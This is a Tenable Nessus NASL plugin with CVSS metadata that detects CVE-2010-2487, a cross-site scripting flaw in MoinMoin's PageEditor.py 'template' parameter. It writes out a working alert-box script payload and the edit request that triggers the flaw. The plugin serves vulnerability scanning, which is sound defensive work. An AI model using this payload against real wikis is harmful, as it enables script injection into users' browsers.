CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
EPSS
Percentile
81.2%
The version of MoinMoin running on the remote host is affected by a cross-site scripting vulnerability in the ‘template’ parameter of the ‘PageEditor.py’ script. An unauthenticated, remote attacker, exploiting this flaw, could execute arbitrary script code in a user’s browser.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(46817);
script_version("1.15");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2010-2487");
script_bugtraq_id(40549);
script_xref(name:"SECUNIA", value:"40043");
script_name(english:"MoinMoin PageEditor.py template Parameter XSS");
script_set_attribute(attribute:"synopsis", value:
"A wiki application on the remote web server has a cross-site scripting
vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of MoinMoin running on the remote host is affected by a
cross-site scripting vulnerability in the 'template' parameter of the
'PageEditor.py' script. An unauthenticated, remote attacker,
exploiting this flaw, could execute arbitrary script code in a user's
browser.");
script_set_attribute(attribute:"see_also", value:"http://moinmo.in/MoinMoinBugs/1.9.2UnescapedInputForThemeAddMsg");
script_set_attribute(attribute:"solution", value:
"Apply the patch from the vendor's advisory.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"vuln_publication_date", value:"2010/06/03");
script_set_attribute(attribute:"patch_publication_date", value:"2010/06/03");
script_set_attribute(attribute:"plugin_publication_date", value:"2010/06/07");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:moinmo:moinmoin");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses : XSS");
script_copyright(english:"This script is Copyright (C) 2010-2022 Tenable Network Security, Inc.");
script_dependencies("moinmoin_detect.nasl");
script_require_keys("www/moinmoin");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
port = get_http_port(default:80);
install = get_install_from_kb(appname:'moinmoin', port:port, exit_on_fail:TRUE);
payload = SCRIPT_NAME + unixtime();
exploit = '<script>alert(\'' + payload + '\')</script>';
exploited = test_cgi_xss(
port:port,
dirs:make_list(install['dir']),
cgi:'/'+payload,
qs:'action=edit&template='+urlencode(str:exploit),
pass_str:'<div class="warning">[Template '+exploit + ' not found]',
ctrl_re:'<li>Edit "' + payload + '"</li>'
);
if (!exploited)
{
install_url = build_url(qs:install['dir'] + '/', port:port);
exit(0, "The MoinMoin install at " + install_url + " is not affected.");
}